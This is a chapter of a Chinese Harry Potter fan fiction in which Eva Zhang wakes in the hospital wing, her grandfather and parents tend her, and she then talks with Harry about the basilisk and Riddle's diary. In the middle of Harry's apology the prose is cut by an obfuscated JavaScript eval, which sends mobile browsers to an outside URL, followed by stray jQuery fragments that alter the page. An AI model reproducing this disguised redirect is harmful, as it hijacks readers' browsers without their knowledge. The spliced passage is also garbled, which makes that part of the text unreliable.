55. 苏醒与余响

作品:《HP同人霍格沃茨上学指南

    昏迷的第七天,Eva才在一种遥远而模糊的意识中,感知到光。


    那光先是极淡的,像是隔了好几层毛玻璃望见的烛火,朦胧、温暖,却无法触及。然后,有什么温润的东西贴在她的额头上,一股极其温和、清冽的力量如涓涓细流般渗入她混沌的脑海,驱散着盘踞不去的沉重黑暗和冰冷的黏腻感——那是蛇怪腥气与地底湿寒在她意识深处留下的残影。


    “……先天一炁耗竭,心神震荡过度……这孩子的底子打得牢,不然……” 一个苍老而温和的声音,带着江南水乡特有的柔软口音,断断续续地飘进她逐渐清明的感知里。是爷爷。


    她想动一动手指,想睁开眼睛,但眼皮沉重得像压着石头,身体仿佛不是自己的,只有那温润的暖流在眉心持续地、耐心地梳理着,带来源源不断的安心感。


    “张老先生,您的意思是……” 这是庞弗雷夫人严肃而充满敬意的声音。


    “无妨了,根基未损,只是需要时间。让她睡,自然会醒。”爷爷的声音很稳,像老宅院子里那棵槐树的根,深深扎在土地里。


    温暖的手指轻轻拂过她的脸颊,带着熟悉的、略带草药清苦的气息。“丽华,爷爷在。”


    她想回应,却发不出声音。但在那温暖的触感和声音的包裹下,意识终于挣脱了最后一丝泥沼,彻底浮了上来。


    睫毛颤动了几下,终于掀开。


    首先映入眼帘的是医疗翼熟悉的高耸天花板,木梁在午后的光线中投下安静的影子。阳光透过半掩的窗帘,在白色的床单上切割出明暗交织的条纹,空气中漂浮着细微的尘埃,像缓慢舞蹈的精灵。


    然后,她看见了守在床边的人。


    妈妈坐在离床最近的椅子上,身上那套米色的职业套装有些皱褶,一丝不苟的发髻也松了几缕,眼底是浓得化不开的疲惫和见到她睁眼时瞬间涌上的、几乎要落泪的狂喜。她紧紧握着Eva露在被子外的一只手,握得那么紧,指节都泛白了。


    爸爸站在妈妈身后,穿着挺括的深色西装,但领带松开了,下巴上有新冒出的青色胡茬。他的背依然挺得笔直,那是常年外交工作刻入骨子里的姿态,但此刻那姿态里透着一股难以言喻的紧绷和……后怕。他的目光落在Eva脸上,看到她睁眼时,瞳孔几不可察地收缩了一下,嘴唇动了动,却没发出声音。


    而坐在床尾一张矮凳上的,是爷爷。


    他依旧穿着那身洗得发白的青布道袍,白发在脑后绾成小小的髻,用那根熟悉的木簪固定。脸上纵横的皱纹似乎更深了些,但那双眼睛——清亮、温和,如同能映照出世事却不起波澜的古井——正静静地看着她。他的手指刚刚从她的额头上移开,指尖似乎还残留着一点微光。


    “醒了。”爷爷说,不是疑问,是平静的陈述。


    “丽华……”妈妈的声音颤抖得厉害,另一只手也覆了上来,将Eva的手紧紧包裹在掌心,那温度甚至有些烫人,“你吓死妈妈了……吓死我们了……”


    Eva张了张嘴,喉咙干涩得发疼,只能发出一点气音。


    庞弗雷夫人立刻端着一杯温水走过来,用魔法轻轻托起Eva的头,小心翼翼地喂她喝了几口。温水润泽了干裂的嘴唇和喉咙,她终于能发出微弱的声音:“……妈……爸……爷爷……”


    每叫出一个称呼,都像用尽了力气。她看到妈妈的眼圈瞬间红了,爸爸的喉结剧烈地滚动了一下,而爷爷只是轻轻点了点头,眼神里的慈祥与了然让她莫名想哭。


    “别急着说话,孩子,”庞弗雷夫人温和但不容置疑地说,“你昏迷了整整七天。严重的魔力与‘精力’双重透支,伴有轻微的神识震荡。能醒过来,已经是万幸。”她看向爷爷,语气充满敬意,“多亏您及时赶到。”


    Eva这才注意到,爷爷的手边放着一个打开的小木匣,里面衬着深紫色的绒布,放着几样她熟悉的东西:她一直戴着的玉佩,光泽似乎更加温润内敛;爷爷给她的那支紫竹笔,笔尖隐隐有流光转动;还有几枚古旧的铜钱和一小截颜色暗沉的线香。木匣本身也刻满了繁复的符文,散发着宁静的气息。


    爷爷是用这些东西……在救她?


    “感觉怎么样?”爸爸终于开口了,声音有些沙哑,是那种极力维持平稳却依旧泄露了紧绷的语调。


    Eva试着动了动手指,又轻轻转了转头。全身依然被那种深沉的酸痛和无力感占据,头脑也有些昏沉,像是长途跋涉后精疲力竭,但至少,意识是清晰的,也能感觉到身体在缓慢地汲取着周围温和的能量进行修复。


    “疼……没力气……”她实话实说,声音细弱。


    “疼就对了,”庞弗雷夫人一边检查她床头的几个水晶瓶(里面的药水闪烁着不同的微光),一边说道,“你的身体像是被彻底榨干后又强行透支,没有留下永久性损伤已经是梅林保佑——还有你祖父的功劳。接下来至少两周,你需要绝对静养,按时服用我配制的营养药剂和安神魔药,慢慢恢复。”


    两周……Eva在心里算着落下的课程。变形术的进阶控制,魔药学的肿胀药水改良,魔法史的中世纪猎巫运动论文……还有弗立维教授承诺要教的实用小咒语……


    “功课……”她忍不住轻声说。


    “功课?”妈妈几乎是带着哭音又带着点嗔怪地说,“都什么时候了还想功课!邓布利多教授和各位院长都说了,所有因为你……因为这件事耽误的课程,都会安排补上或酌情免除考核。你现在唯一要做的就是把身体养好!”


    爸爸没有说话,只是看着她,那眼神复杂极了。Eva读懂了里面沉甸甸的东西:担忧、后怕,还有那句曾经在伦敦公寓书房里说过的——“记住你是谁。”


    她当时懵懂,现在却仿佛被这句话狠狠击中了心脏。她是谁?她是张丽华,是Eva Zhang,是拉文克劳的二年级学生,是爸爸妈妈的女儿,是爷爷的孙女。她也是一个有着特殊感知和东方传承的女孩。在黑暗的洞穴里,她念出了爷爷教的童谣,动用了爷爷给的黑石,那一刻,她不仅仅是霍格沃茨的学生,她也是那个江南老宅里跟着爷爷学习“炁”与“静”的女孩。


    而这份“不同”,差点让她再也醒不过来。


    一股迟来的、冰冷的后怕顺着脊椎爬上来,让她轻轻打了个寒颤。如果她没有撑住?如果那光晕消散得更早?如果蛇怪没有因为福克斯的鸣叫而分神?如果哈利没有拿到那把剑?如果爷爷没有及时赶到用他的方法稳住她的心神根基?


    无数个“如果”在脑海里炸开,每一个都通向黑暗的结局。她看到妈妈红肿的眼睛,爸爸下巴的胡茬,爷爷眼底深处那一丝不易察觉的疲惫——他们守了她七天。这七天里,他们有多害怕?


    “对不起……”泪水毫无预兆地涌上眼眶,顺着眼角滑落,浸入枕头。不是因为身体的疼痛,而是因为这份沉重的后怕和对家人的愧疚。“我……我不该……让你们担心……”


    “傻孩子……”妈妈俯身抱住她,温暖的眼泪滴在她的脸颊上,混合着她自己的泪水,“你没事就好……没事就好……”


    爸爸伸出手,似乎想摸摸她的头,像小时候那样,但手在半空中停顿了一下,最终只是轻轻落在了她的被子上,用力按了按。那个动作里包含了一个父亲所有难以言喻的情感。


    爷爷静静地坐着,等妈妈的情绪稍微平复一些,才缓缓开口,声音平和却带着直指人心的力量:“丽华,记得爷爷跟你说过什么吗?”


    Eva在妈妈的怀抱里微微转头,看向爷爷。


    “走路是修行,吃饭是修行,呼吸也是修行。”爷爷慢慢地说,“危急关头,你用了我教你的法子,护住了自己一丝清明,也护住了那韦斯莱家小姑娘一线生机。这是你的‘修行’到了,本能反应。不必后悔。”


    他顿了顿,眼神变得更加深邃:“但爷爷也说过,‘炁’是你身体里的东西,你是主人。这次,你让客人做了主,耗干了家底。记住这个滋味。下次,要知道什么时候该用,什么时候该收,什么时候……该退。”


    该退。在那一刻,她有没有想过“退”?好像没有。她只想着要撑住,要保护哈利和金妮,要对抗那令人窒息的黑暗和邪恶。她忘了自己只有十二岁,忘了自己的“家底”有多薄。


    “我记住了,爷爷。”她哽咽着说,泪水流得更凶了。这次的眼泪里,多了明悟和决心。


    庞弗雷夫人适时地递过来一块干净的手帕,又调整了一下点滴瓶(里面是一种泛着珍珠光泽的药剂)的速度。“情绪不宜过于激动,张小姐。你需要休息。”


    爷爷点了点头,对爸爸妈妈说:“让她再睡会儿。醒了,才是真正开始恢复的时候。”


    爸爸妈妈虽然不舍,但还是听从了爷爷和庞弗雷夫人的建议。妈妈在她额头上印下一个轻柔的吻,爸爸又用力按了按被子,爷爷则对她露出一个宽慰的浅笑,然后三位大人在庞弗雷夫人的示意下,暂时离开了病房。


    医疗翼重新安静下来。Eva躺在柔软的枕头里,疲惫感再次如潮水般涌上,但这一次,心神是安稳的。爷爷的梳理和那些温和的药剂正在起作用。她闭上眼睛,在沉入睡眠前,最后一个模糊的念头是:不知道哈利怎么样了?金妮呢?赫敏……应该已经恢复了吧?


    再次醒来时,窗外已是暮色四合。医疗翼里点起了温暖的壁灯和漂浮的蜡烛,光线柔和。


    床边换了人。


    是哈利·波特。


    他就坐在之前妈妈坐的那张椅子上,背对着灯光,身影有些模糊。他低着头,双手交握放在膝上,手指无意识地互相绞着,看起来像是在这里坐了许久。听到床上的动静,他猛地抬起头。


    烛光映亮了他的脸。绿眼睛下的阴影很重,脸色也带着病后的苍白,但那双眼睛在看到她醒来时,瞬间迸发出明亮的光彩,随即又被浓重的、几乎要满溢出来的情绪覆盖——那是混杂着担忧、愧疚、释然,还有一种深深的后怕。


    “Eva!”他几乎是弹起来的,椅子向后摩擦地板发出轻微的响声。他向前倾身,却又在即将碰到床边时克制地停住,只是紧紧地看着她,嘴唇动了动,似乎有千言万语堵在喉咙里,最终只化作一句干涩的,“你……你终于醒了。”


    他的声音沙哑,带着显而易见的疲惫,但里面那份真切的、毫不掩饰的关心和庆幸,像暖流一样包裹住Eva。


    “哈利……”Eva轻声回应,试着想坐起来一点,但浑身依旧酸软无力。


    哈利下意识地想伸手扶她,又犹豫了一下,看向一旁的庞弗雷夫人。庞弗雷夫人正在整理药柜,回头看了一眼,点了点头:“帮她垫高一点枕头可以,波特先生,动作轻点。”


    哈利这才小心地、有些笨拙地帮Eva调整了枕头的高度,让她能更舒服地半靠着。他的动作很轻,手指偶尔擦过她的肩膀或头发,带着微微的凉意和不易察觉的颤抖。


    两人离得很近。Eva能看清他额头上那道闪电形疤痕,在昏暗光线下依旧清晰;能看到他绿眼睛里遍布的血丝,和那下面深藏的、属于十二岁男孩却被迫承载了太多的沉重。


    “你……”Eva看着他明显消瘦了的脸颊和眼底的青色,“你也受伤了?没事了吗?”


    “我没事,”哈利迅速摇头,扯出一个有些勉强的笑容,“都是皮外伤,庞弗雷夫人几天就治好了。我……我昨天就出院了。”他的笑容很快消失了,目光落在她苍白虚弱的脸上,那里面翻滚的情绪几乎要将他淹没,“Eva,我……”


    他哽住了,双手用力地握成了拳头,指节泛白。他低下头,避开她的目光,声音低得几乎听不见,却因为压抑着强烈的情感而微微发颤:“对不起……都是因为我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980671|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……如果不是我要下去……如果不是我……”


    “哈利。”Eva打断了他,声音虽然虚弱,却很清晰。她看着这个在棋盘上走向黑国王、在地下房间挡在她面前、在黑暗洞穴中与蛇怪搏命的男孩,此刻却像个做错事的孩子一样充满自责。“你没有强迫任何人下去。罗恩回去报信了,是我选择跟你一起的。”


    哈利猛地抬起头,绿眼睛里充满了痛苦和不解:“可是你差点……庞弗雷夫人说你昏迷了七天!邓布利多教授说,你那种……那种东方的力量透支,非常危险!如果……如果你……”


    他说不下去了,那个“如果”后面的可能太过可怕,让他整个人都僵硬起来。他想起在洞穴里,那圈温暖的金色光晕骤然熄灭时,Eva像折断的芦苇一样倒进泥水里的画面。那一刻的恐惧,甚至超过了面对蛇怪的毒牙。


    “我没事了,”Eva重复道,努力让自己的语气听起来更肯定些,“爷爷来了,我醒了。而且……”她顿了顿,想起昏迷前最后看到的景象,“我们成功了,对吗?蛇怪死了,金妮救回来了,日记本毁了。”


    提到这个,哈利的神情稍微松动了一些,但愧疚感并未减轻。“金妮救回来了,”他点点头,声音依旧低沉,“她醒来后,韦斯莱夫人和先生,还有罗恩他们一直陪着她。她……她很勇敢。”他没有详细说金妮砸毁日记本的过程,那对于刚醒来的Eva来说可能太刺激了。“赫敏,还有科林、贾斯廷、厄尼,曼德拉草药剂起效了,他们都恢复了。尼克也……恢复了。”


    这算是这些天来最好的消息了。Eva心里松了一口气。


    “那本日记……”她轻声问,“邓布利多教授怎么说?”


    哈利的脸色凝重起来。“是魂器,”他低声说,这个词依然让他感到不寒而栗,“伏地魔的魂器。他十六岁时制造的,藏在里面的是他学生时代的一段记忆和一部分灵魂。”他看向Eva,“邓布利多教授说,你最后用那种光……干扰了日记本对金妮的控制,也削弱了里德尔显形的力量,给了福克斯和我机会。教授还说……”他犹豫了一下,“那种力量很特别,不属于我们通常理解的魔法体系。但它确实起了关键作用。”


    Eva沉默着。爷爷给的石头,爷爷教的口诀。它们属于另一个古老的世界,另一个理解力量的方式。它们这次保护了她,也帮助了大家,但也让她付出了昏迷七天的代价。


    “你爷爷……”哈利忽然说,语气里带着一丝难以言喻的复杂情绪,“他很厉害。他来了之后,庞弗雷夫人说你的情况就稳定下来了。他……他还看了我一眼。”哈利似乎不知道该怎么描述那一眼的感觉,“好像……什么都明白了。”


    Eva想象着那个画面——爷爷穿着青布道袍,站在充满了西式魔法药剂和医疗仪器的医疗翼里,用那双能洞察“炁”与“念”的眼睛平静地审视着一切。他当然会明白。


    两人之间沉默了片刻。医疗翼里只有壁炉木柴燃烧的噼啪声和远处其他病人轻微的呼吸声。


    “Eva,”哈利再次开口,这次他抬起头,直直地看向她的眼睛,绿眸中闪烁着坚定的、不容错辨的光芒,“谢谢你。在下面……如果没有你,我可能……金妮可能……”他深吸一口气,“不只是谢谢你的帮助。是……谢谢你信任我,跟我一起下去。谢谢你……没有让我一个人面对。”


    他说得有些语无伦次,但那份真挚的情感却沉甸甸地传递过来。他不是在感谢一个“有用的帮手”,而是在感谢一个在绝境中与他并肩的同伴,一个明明可以有更安全的选择,却选择了危险的朋友。


    Eva看着他眼中那份沉重的感激和依然残留的后怕,心里某个地方微微酸涩,又微微发暖。她想起一年级的魔法石事件,想起他喝下魔药走向棋盘尽头的背影。他一直是这样,把最重的责任揽在自己肩上。而这一次,她不只是被保护者,他们是一起面对黑暗的同行者。


    “你也一样,哈利,”她轻声说,回视着他的目光,“谢谢你没有让我一个人在上面等。”


    这句话很简单,却让哈利整个人震了一下。他看着她平静而真诚的黑眼睛,忽然意识到,在Eva的认知里,等待或许也是一种艰难的选择。她没有把他当成必须被保护的“救世主”,而是看作一个需要互相照应的同伴。这份平等的看待,对他而言,比任何赞美都更珍贵。


    他张了张嘴,还想说什么,眼眶却有些发热。他用力眨了眨眼,别开了视线,生怕自己真的失态。


    庞弗雷夫人端着新的药水走了过来,打破了这有些凝重的气氛。“探视时间差不多了,波特先生。张小姐需要继续静养服药。你可以明天再来。”


    哈利连忙站起来,有些局促地点点头。“好……好的,夫人。”他看向Eva,语气恢复了平时的样子,但眼神依旧温暖,“你好好休息,Eva。我明天再来看你。丽莎、曼蒂和帕德玛,罗恩,还有赫敏,他们也都想来看你,但庞弗雷夫人说一次不能太多人……”


    “帮我告诉他们我没事,”Eva说,“还有……谢谢他们。”


    “我会的。”哈利对她笑了笑,这次的笑容真实了许多,虽然依旧带着疲惫。他转身离开,走到门口时又回头看了她一眼,才轻轻带上门。


    Eva喝完庞弗雷夫人递来的药水(味道比之前的更苦,但带着一股奇异的、安抚神经的清香),重新躺好。身体依然虚弱,但心神却比醒来时更加安宁。


    窗外的天色完全暗了下来,霍格沃茨的灯火在夜色中次第亮起,像星空倒映在人间的岛屿。城堡度过了又一个危机,伤痕在缓慢愈合。而她,在经历了极限的透支与漫长的昏迷后,也正在家人的守护和朋友的关心中,一点一点地找回自己的力量与平静。


    路还很长。但至少此刻,她知道自己在哪儿,记得自己是谁,也清楚身边都有谁。